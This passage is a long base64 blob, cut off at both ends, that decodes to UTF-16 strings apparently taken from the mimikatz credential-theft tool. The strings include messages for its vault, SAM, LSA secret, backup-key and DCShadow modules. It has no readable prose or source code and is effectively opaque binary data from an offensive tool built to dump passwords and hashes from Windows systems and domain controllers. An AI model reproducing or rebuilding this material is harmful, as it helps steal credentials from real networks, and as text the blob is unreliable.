cgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADIAIAA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMQAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEkARAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAAkACQBQAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAFAASQBOACAAQwBvAGQAZQAgACAAIAAgACAAIAAgACAAOgAgACUAMAA0AGgAdQAKAAAAAAAJAAkAQgBhAGMAawBnAHIAbwB1AG4AZAAgAHAAYQB0AGgAIAA6ACAAJQBzAAoAAAAJAAkAUABpAGMAdAB1AHIAZQAgAHAAYQBzAHMAdwBvAHIAZAAgACgAZwByAGkAZAAgAGkAcwAgADEANQAwACoAMQAwADAAKQAKAAAACQAJACAAWwAlAHUAXQAgAAAAAABwAG8AaQBuAHQAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAAAGMAbABvAGMAawB3AGkAcwBlAAAAYQBuAHQAaQBjAGwAbwBjAGsAdwBpAHMAZQAAAGMAaQByAGMAbABlACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAIAA7ACAAcgAgAD0AIAAlADMAdQApACAALQAgACUAcwAAAAAAAABsAGkAbgBlACAAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAIAAtAD4AIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAJQB1AAoAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUALgAqAHMAXAAAAHQAbwBkAG8AIAA/AAoAAAAJAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAB0AGUAbQBwACAAdgBhAHUAbAB0AAAAAAAJAFAAYQB0AGgAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAABbAFUAUwBIAE8AUgBUAF0AIAAlAGgAdQAAAAAAWwBEAFcATwBSAEQAXQAgACUAdQAAAAAAWwBTAFQAUgBJAE4ARwBdACAAJQBzAAAAWwBCAFkAVABFACoAXQAgAAAAAABbAFMASQBEAF0AIAAAAAAAWwBBAFQAVABSAEkAQgBVAFQARQBdAAoAAAAAAAkACQAgACAARgBsAGEAZwBzACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAJAAkAIAAgAEsAZQB5AHcAbwByAGQAIAA6ACAAJQBzAAoAAAAJAAkAIAAgAFYAYQBsAHUAZQAgACAAIAA6ACAAAAAAAFsAVAB5AHAAZQAgACUAMgB1AF0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAA8AE4AVQBMAEwAPgAAAAAAVABhAHIAZwBlAHQATgBhAG0AZQAgADoAIAAlAHMAIAAvACAAJQBzAAoAVQBzAGUAcgBOAGEAbQBlACAAIAAgADoAIAAlAHMACgBDAG8AbQBtAGUAbgB0ACAAIAAgACAAOgAgACUAcwAKAFQAeQBwAGUAIAAgACAAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAFAAZQByAHMAaQBzAHQAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAEYAbABhAGcAcwAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAAQwByAGUAZABlAG4AdABpAGEAbAAgADoAIAAAAAoAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoAIAAlAHUACgAAACAAWwAlADIAdQBdACAAQQB0AHQAcgBpAGIAdQB0AGUACgAAACAAIABGAGwAYQBnAHMAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAIAAgAFYAYQBsAHUAZQAgACAAIAA6ACAAAAAAAGkAbgBmAG8AcwAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAAAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAG0AbwBkAHUAbABlAAAAAABtAGkAbgBlAHM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AVwBPAFIARAAAAAAACgBPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFMAQwBSAEkAUABUAAAAAABBAEMAQwBPAFUATgBUAEQASQBTAEEAQgBMAEUAAAAAADAAeAA0ACAAPwAAAEgATwBNAEUARABJAFIAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAEwATwBDAEsATwBVAFQAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAABFAE4AQwBSAFkAUABUAEUARABfAFQARQBYAFQAXwBQAEEAUwBTAFcATwBSAEQAXwBBAEwATABPAFcARQBEAAAAVABFAE0AUABfAEQAVQBQAEwASQBDAEEAVABFAF8AQQBDAEMATwBVAE4AVAAAAAAATgBPAFIATQBBAEwAXwBBAEMAQwBPAFUATgBUAAAAAAAwAHgANAAwADAAIAA/AAAASQBOAFQARQBSAEQATwBNAEEASQBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAFcATwBSAEsAUwBUAEEAVABJAE8ATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABTAEUAUgBWAEUAUgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAwACAAPwAAAAAAMAB4ADgAMAAwADAAIAA/AAAAAABEAE8ATgBUAF8ARQBYAFAASQBSAEUAXwBQAEEAUwBTAFcARAAAAAAATQBOAFMAXwBMAE8ARwBPAE4AXwBBAEMAQwBPAFUATgBUAAAAUwBNAEEAUgBUAEMAQQBSAEQAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAFQAUgBVAFMAVABFAEQAXwBGAE8AUgBfAEQARQBMAEUARwBBAFQASQBPAE4AAAAAAE4ATwBUAF8ARABFAEwARQBHAEEAVABFAEQAAABVAFMARQBfAEQARQBTAF8ASwBFAFkAXwBPAE4ATABZAAAAAABEAE8ATgBUAF8AUgBFAFEAVQBJAFIARQBfAFAAUgBFAEEAVQBUAEgAAAAAAFAAQQBTAFMAVwBPAFIARABfAEUAWABQAEkAUgBFAEQAAAAAAFQAUgBVAFMAVABFAEQAXwBUAE8AXwBBAFUAVABIAEUATgBUAEkAQwBBAFQARQBfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAF8AQQBVAFQASABfAEQAQQBUAEEAXwBSAEUAUQBVAEkAUgBFAEQAAABQAEEAUgBUAEkAQQBMAF8AUwBFAEMAUgBFAFQAUwBfAEEAQwBDAE8AVQBOAFQAAABVAFMARQBfAEEARQBTAF8ASwBFAFkAUwAAAAAAMAB4ADEAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAAyADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgANAAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADgAMAAwADAAMAAwADAAMAAgAD8AAAAAAEQATwBNAEEASQBOAF8ATwBCAEoARQBDAFQAAABHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAVQBTAEUAUgBfAE8AQgBKAEUAQwBUAAAATQBBAEMASABJAE4ARQBfAEEAQwBDAE8AVQBOAFQAAABUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAQQBQAFAAXwBCAEEAUwBJAEMAXwBHAFIATwBVAFAAAABBAFAAUABfAFEAVQBFAFIAWQBfAEcAUgBPAFUAUAAAACoAKgAgAFMAQQBNACAAQQBDAEMATwBVAE4AVAAgACoAKgAKAAoAAABTAEEATQAgAFUAcwBlAHIAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByACAAUAByAGkAbgBjAGkAcABhAGwAIABOAGEAbQBlACAAIAA6ACAAAABBAGMAYwBvAHUAbgB0ACAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAIAAlAHMAIAApAAoAAABVAHMAZQByACAAQQBjAGMAbwB1AG4AdAAgAEMAbwBuAHQAcgBvAGwAIAA6ACAAJQAwADgAeAAgACgAIAAAAAAAQQBjAGMAbwB1AG4AdAAgAGUAeABwAGkAcgBhAHQAaQBvAG4AIAAgACAAOgAgAAAAUABhAHMAcwB3AG8AcgBkACAAbABhAHMAdAAgAGMAaABhAG4AZwBlACAAOgAgAAAAUwBJAEQAIABoAGkAcwB0AG8AcgB5ADoACgAAAE8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5ACAASQBEACAAIAAgADoAIAAAAE8AYgBqAGUAYwB0ACAAUgBlAGwAYQB0AGkAdgBlACAASQBEACAAIAAgADoAIAAlAHUACgAAAAAACgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOgAKAAAAAAAKAFMAdQBwAHAAbABlAG0AZQBuAHQAYQBsACAAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAACoAIAAlAHcAWgAgACoACgAAAAAAJTAyeAAAAAAgACAAIAAgAFUAbgBrAG4AbwB3AG4AIABkAGEAdABhACAAOgAgAAAAKgAqACAAVABSAFUAUwBUAEUARAAgAEQATwBNAEEASQBOACAALQAgAEEAbgB0AGkAcwBvAGMAaQBhAGwAIAAqACoACgAKAAAAUABhAHIAdABuAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAABCAEMASwBVAFAASwBFAFkAXwAAAEIAQwBLAFUAUABLAEUAWQBfAFAAIABTAGUAYwByAGUAdAAAAEIAQwBLAFUAUABLAEUAWQBfAFAAUgBFAEYARQBSAFIARQBEACAAUwBlAGMAcgBlAHQAAABMAGkAbgBrACAAdABvACAAawBlAHkAIAB3AGkAdABoACAARwBVAEkARAA6ACAAAAAgACgAbgBvAHQAIABhAG4AIABvAGIAagBlAGMAdAAgAEcAVQBJAEQAKQAKAAAAAAB1AG4AaQBjAG8AZABlAFAAdwBkAAAAAABjAHUAcgByAGUAbgB0AFYAYQBsAHUAZQAAAAAAZABCAEMAUwBQAHcAZAAAAGkAbgBpAHQAaQBhAGwAQQB1AHQAaABJAG4AYwBvAG0AaQBuAGcAAABsAG0AUAB3AGQASABpAHMAdABvAHIAeQAAAAAAbgB0AFAAdwBkAEgAaQBzAHQAbwByAHkAAAAAAHAAcgBpAG8AcgBWAGEAbAB1AGUAAAAAAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAHQAcgB1AHMAdABBAHUAdABoAEkAbgBjAG8AbQBpAG4AZwAAAHQAcgB1AHMAdABBAHUAdABoAE8AdQB0AGcAbwBpAG4AZwAAAGMAbABlAGEAbgAAAG0AdQBsAHQAaQBwAGwAZQAAAAAAbwBiAGoAZQBjAHQAAAAAAGEAdAB0AHIAaQBiAHUAdABlAAAAdgBhAGwAdQBlAAAAcgBlAHAAbABPAHIAaQBnAGkAbgBhAHQAaQBuAGcAVQBpAGQAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlACAAOwAgAHUAbgBhAGIAbABlACAAcABhAHIAcwBlACAAcgBlAHAAbABPAHIAaQBnAGkAbgBhAHQAaQBuAGcAVQBpAGQACgAAAHIAZQBwAGwATwByAGkAZwBpAG4AYQB0AGkAbgBnAFUAcwBuAAAAAAByAGUAcABsAE8AcgBpAGcAaQBuAGEAdABpAG4AZwBUAGkAbQBlAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAIAA7ACAAdQBuAGEAYgBsAGUAIABwAGEAcgBzAGUAIAByAGUAcABsAE8AcgBpAGcAaQBuAGEAdABpAG4AZwBUAGkAbQBlAAoAAAAAAGQAeQBuAGEAbQBpAGMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABzAGUAdAAgAHYAYQBsAHUAZQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABhAGQAZAAgAGEAdAB0AHIAaQBiAHUAdABlAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIAB1AG4AYQBiAGwAZQAgAHQAbwAgAGEAZABkACAAbwBiAGoAZQBjAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlACAAOwAgAG8AYgBqAGUAYwB0ACAAbwByACAAYQB0AHQAcgBpAGIAdQB0AGUAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlACAAOwAgAHYAYQBsAHUAZQAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIABvAGIAagBlAGMAdAAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIABhAHQAdAByAGkAYgB1AHQAZQAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIABvAGIAagBlAGMAdAAgAG0AaQBzAHMAaQBuAGcACgAAAAAAWwAlAHUAXQAgAE8AYgBqAGUAYwB0ACAARABOADoAIAAlAHMACgAAACAAIABbACUAdQBdACAAQQB0AHQAcgBpAGIAdQB0AGUAOgAgACUAcwAKAAAAAAAAACAAIABBAHQAdAByAGkAYgB1AHQAZQAgAGkAcwAgAGUAbQBwAHQAeQAgACgAZQB4AGkAcwB0AGkAbgBnACAAdgBhAGwAdQBlACAAdwBpAGwAbAAgAGIAZQAgAHIAZQBtAG8AdgBlAGQAKQAKAAAAAAAgACAAIAAgAFsAJQB1AF0AIAAlAHMACgAAAAAAaQBuAHYAbwBjAGEAdABpAG8AbgBJAGQAAAAAAG0AcwBEAFMALQBSAGUAcABsAGkAYwBhAHQAaQBvAG4ARQBwAG8AYwBoAAAAQwBOAD0AUwBpAHQAZQBzACwAJQBzAAAAAAAAACgAJgAoAG8AYgBqAGUAYwB0AEMAbABhAHMAcwA9AHMAZQByAHYAZQByACkAKABkAE4AUwBIAG8AcwB0AE4AYQBtAGUAPQAlAHMAKQApAAAAKABuAGEAbQBlAD0ATgBUAEQAUwAgAFMAZQB0AHQAaQBuAGcAcwApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbwBiAGoAZQBjAHQARwBVAEkARABfAGkAbgB2AG8AYwBhAHQAaQBvAG4ARwBVAEkARAAgADsAIABOAG8AIAAlAHMAIABhAHQAdAByAGkAYgB1AHQAZQAgAGYAbwByACAAJQBzACAAcwBlAHIAdgBlAHIACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAG8AYgBqAGUAYwB0AEcAVQBJAEQAXwBpAG4AdgBvAGMAYQB0AGkAbwBuAEcAVQBJAEQAIAA7ACAAbABkAGEAcABfAGMAbwB1AG4AdABfAGUAbgB0AHIAaQBlAHMAIABpAHMAIABOAE8AVAAgADEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbwBiAGoAZQBjAHQARwBVAEkARABfAGkAbgB2AG8AYwBhAHQAaQBvAG4ARwBVAEkARAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAARABDAD0AAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwBwAGEAcgBlAG4AdABHAHUAaQBkAF8AZgByAG8AbQBfAGQAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHAAYQByAHMAZQAgAEQATgAgACgAJQBzACkACgAAACgAbwBiAGoAZQBjAHQAYwBsAGEAcwBzAD0AKgApAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHAAYQByAGUAbgB0AEcAdQBpAGQAXwBmAHIAbwBtAF8AZABuACAAOwAgAFAAYQByAGUAbgB0ACAARABOACAAKAAlAHMAKQAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAHIAZQBwAGwAUAByAG8AcABlAHIAdAB5AE0AZQB0AGEARABhAHQAYQAAAAAAcABhAHIAZQBuAHQARwBVAEkARAAAAAAAMQAuADIALgA4ADQAMAAuADEAMQAzADUANQA2AC4AMQAuADQALgA0ADEANwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAZQByAHMAaQBvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABNAGEAawBlAEEAdAB0AGkAZAAgAGYAcgBvAG0AIABTAEMASABFAE0AQQBfAEQARQBGAEEAVQBMAFQAXwBQAFIARQBGAEkAWABfAFQAQQBCAEwARQAgAGYAbwByACAATwBpAGQAOgAgACUAUwAsACAAdgBlAHIAcwBpAG8AbgAoACUAdQApACAAYwBhAG4AIABiAGUAIABwAHIAbwBiAGwAZQBtAGEAdABpAGMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAZQByAHMAaQBvAG4AIAA7ACAAUgBlAHAAbAAgAEIAbABvAGIAIAB2AGUAcgBzAGkAbwBuACAAaQBzACAAbgBvAHQAIAAxACAAKAAlAHUAKQAKAAAAAABPAGIAagBlAGMAdAAgAGQAbwBlAHMAIABuAG8AdAAgAGUAeABpAHMAdAAKAAAAAABEAE4AOgAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBlAHIAcwBpAG8AbgAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBlAHIAcwBpAG8AbgAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAJQBzAAoAAABXAEkATgAyADAAMAAwAAAAVwBJAE4AMgAwADAAMwAgAGkAbgB0AGUAcgBpAG0AAABXAEkATgAyADAAMAAzAAAAVwBJAE4AMgAwADAAOAAAAFcASQBOADIAMAAwADgAUgAyAAAAVwBJAE4AMgAwADEAMgAAAFcASQBOADIAMAAxADIAUgAyAAAAVwBJAE4AMgAwADEANgAAAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAAAAAAcwBjAGgAZQBtAGEATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAAAGQAcwBTAGUAcgB2AGkAYwBlAE4AYQBtAGUAAABkAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEYAdQBuAGMAdABpAG8AbgBhAGwAaQB0AHkAAABoAGkAZwBoAGUAcwB0AEMAbwBtAG0AaQB0AHQAZQBkAFUAUwBOAAAARABvAG0AYQBpAG4AOgAgACAAIAAgACAAIAAgACAAIAAlAHMACgAAAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AOgAgACAAJQBzAAoAAABTAGMAaABlAG0AYQA6ACAAIAAgACAAIAAgACAAIAAgACUAcwAKAAAALABDAE4APQAAAAAAZABzAFMAZQByAHYAaQBjAGUATgBhAG0AZQA6ACAAIAAlAHMACgAAAAAAAABkAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEYAdQBuAGMAdABpAG8AbgBhAGwAaQB0AHkAOgAgACUAdQAgACgAIAAlAHMAIAApAAoAAABoAGkAZwBoAGUAcwB0AEMAbwBtAG0AaQB0AHQAZQBkAFUAUwBOADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZABvAG0AYQBpAG4AaQBuAGYAbwBfAHIAbwBvAHQARABzAGUAIAA7ACAAbABkAGEAcABfAGMAbwB1AG4AdABfAGUAbgB0AHIAaQBlAHMAIABpAHMAIABOAE8AVAAgADEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGQAbwBtAGEAaQBuAGkAbgBmAG8AXwByAG8AbwB0AEQAcwBlACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAcwBjAGgAZQBtAGEASQBuAGYAbwAAAAAAcwBjAGgAZQBtAGEAIABzAGkAZwBuAGEAdAB1AHIAZQA6AAAAZABpAHMAdABpAG4AZwB1AGkAcwBoAGUAZABOAGEAbQBlAAAAdQBzAGUAcgBBAGMAYwBvAHUAbgB0AEMAbwBuAHQAcgBvAGwAAAAAAGQATgBTAEgAbwBzAHQATgBhAG0AZQAAACgAJgAoAHwAKABvAGIAagBlAGMAdABDAGwAYQBzAHMAPQB1AHMAZQByACkAKABvAGIAagBlAGMAdABDAGwAYQBzAHMAPQBjAG8AbQBwAHUAdABlAHIAKQApACgAcwBBAE0AQQBjAGMAbwB1AG4AdABOAGEAbQBlAD0AJQBzACQAKQApAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBkAG8AbQBhAGkAbgBpAG4AZgBvAF8AYwBvAG0AcAB1AHQAZQByACAAOwAgAGMAbwBtAHAAdQB0AGUAcgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAAQQBEACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAHIAZQBtAG8AdgBlAEwAaQBuAGcAZQByAGkAbgBnAE8AYgBqAGUAYwB0AAAAJQBzADoAJQBzAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbABpAG4AZwBlAHIAaQBuAGcAXwB0AHIAaQBnAGcAZQByACAAOwAgAHIAZQBtAG8AdgBlAEwAaQBuAGcAZQByAGkAbgBnAE8AYgBqAGUAYwB0ACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAQwBOAD0ATgBUAEQAUwAgAFMAZQB0AHQAaQBuAGcAcwAsAEMATgA9ACUAcwAlAHMAAAAAACgAbwBiAGoAZQBjAHQAQwBsAGEAcwBzAD0AbgBUAEQAUwBEAFMAQQApAAAAIAAgACoAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGwAaQBuAGcAZQByAGkAbgBnAF8AcAByAG8AcABhAGcAYQB0AGUAIAA7ACAAdAByAGkAZwBnAGUAcgAgAGwAaQBuAGcAZQByAGkAbgBnACAAZgBvAHIAIAAlAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbABpAG4AZwBlAHIAaQBuAGcAXwBwAHIAbwBwAGEAZwBhAHQAZQAgADsAIABsAGQAYQBwAF8AYwBvAG4AbgBlAGMAdAAgADAAeAAlAHgAIAAoACUAdQApAAoAAABhdHRyaWJ1dGVJRABhdHRyaWJ1dGVTeW50YXgAc3lzdGVtRmxhZ3MAKAAmACgAbwBiAGoAZQBjAHQAYwBsAGEAcwBzAD0AYQB0AHQAcgBpAGIAdQB0AGUAUwBjAGgAZQBtAGEAKQAoAGwARABBA